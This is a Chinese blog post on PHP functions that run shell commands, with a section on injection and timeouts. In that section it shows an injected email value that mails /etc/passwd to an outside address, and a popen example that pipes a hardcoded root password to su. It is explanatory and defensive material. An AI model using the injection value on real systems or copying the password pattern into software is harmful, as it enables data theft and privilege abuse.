2011年2月24日 可以执行外部命令的php函数

Exec( ),  system( ) popen( ) passthru( ) escapeshellcmd( )

System( ):

原型:string system (string command [, int return_var]) 
system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。 
例子: 
system("/usr/local/bin/webalizer/webalizer");

Exec( ): 

原型:string exec (string command [, string array [, int return_var]]) 
exec ()函数与 system() 类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数 array  可以得到完整的结果,方法是把结果逐行追加到 array 的结尾处。所以如果 array 不是空的,在调用之前最好用 unset() 最它清掉。只有指定了第二 个参数时,才可以用第三个参数,用来取得命令执行的状态码。 

Passthru( ):

原型:void passthru (string command [, int return_var]) 
passthru ()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以 passthru() 函数经常用来调用象 pbmplus  Unix 下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。 
例子: 
header("Content-type: image/gif"); 
passthru("./ppmtogif hunte.ppm"); 

Popen( ):

上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux 的系统用户时,要调用 su 来把当前用户换到 root 才行,而 su 命令必须要在命令行上输入 root 的密码。这种情况下,用上面提到的方法显然是不行的。 
popen ()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在 PHP3 中,对这种句柄只能做单一 的操作模式,要么写,要么读;从 PHP4 开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用 pclose() 函数来关闭 它。 
例子1 : 
$fp=popen("/bin/ls -l", "r"); 

例子
/* PHP中如何增加一个系统用户 
下面是一段例程,增加一个名字为james 的用户
root密码是  verygood 。仅供参考 
*/ 
$sucommand = "su --login root --command"; 
$useradd = "useradd "; 
$rootpasswd = "verygood"; 
$user = "james"; 
$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user); 
$fp = @popen($user_add,"w"); 
@fputs($fp,$rootpasswd); 
@pclose($fp); 
?> 
3) 用反撇号( ` ,也就是键盘上 ESC 键下面的那个,和 ~ 在同一个上面) 
这个方法以前没有归入PHP 的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如: 
$res='/bin/ls -l'; 
echo ' 
'.$res.' 
'; 

这个脚本的输出就象: 
hunte.gif 
hunte.ppm 
jpg.htm 
jpg.jpg 
passthru.php 
要考虑些什么? 
要考虑两个问题:安全性和超时。 
先 看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML 文件,让你的用户输入他们的 EMAIL 地 址,然后把这个产品列表发给他们。假设你没有使用 PHP mail() 函数(或者从未听说过),你就调用 Linux/Unix 系统的 mail 程序来发送这 个文件。程序就象这样: 
system("mail $to < products.txt"); 
echo "我们的产品目录已经发送到你的信箱: $to"; 

用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL 地址: 
'--bla ; mail someone@domain.com < /etc/passwd ;' 
那么这条命令最终变成: 
'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt' 
我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。 
幸 好,PHP 为我们提供了两个函数: EscapeShellCmd() EscapeShellArg() 。函数 EscapeShellCmd 把一个字符串 中所有可能瞒过 Shell 而去执行另外一个命令的字符转义。这些字符在 Shell 中是有特殊含义的,象分号(),重定向( > )和从文件读入 ( < )等。函数 EscapeShellArg 是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串 就可以安全地作为命令的参数。 
再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运 行。但在默认情况下,象system() 等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起 PHP 脚本的超时。解决的办法是 把命令的输出重定向到另外一个文件或流中,如: 
system("/usr/local/bin/order_proc > /tmp/null &"); 

 

 

scapeshellcmd() 

escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands. This function should be used to make sure that any data coming from user input is escaped before this data is passed to the  exec()  or  system()  functions, or to the  backtick operator .

Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$/, /x0A and /xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值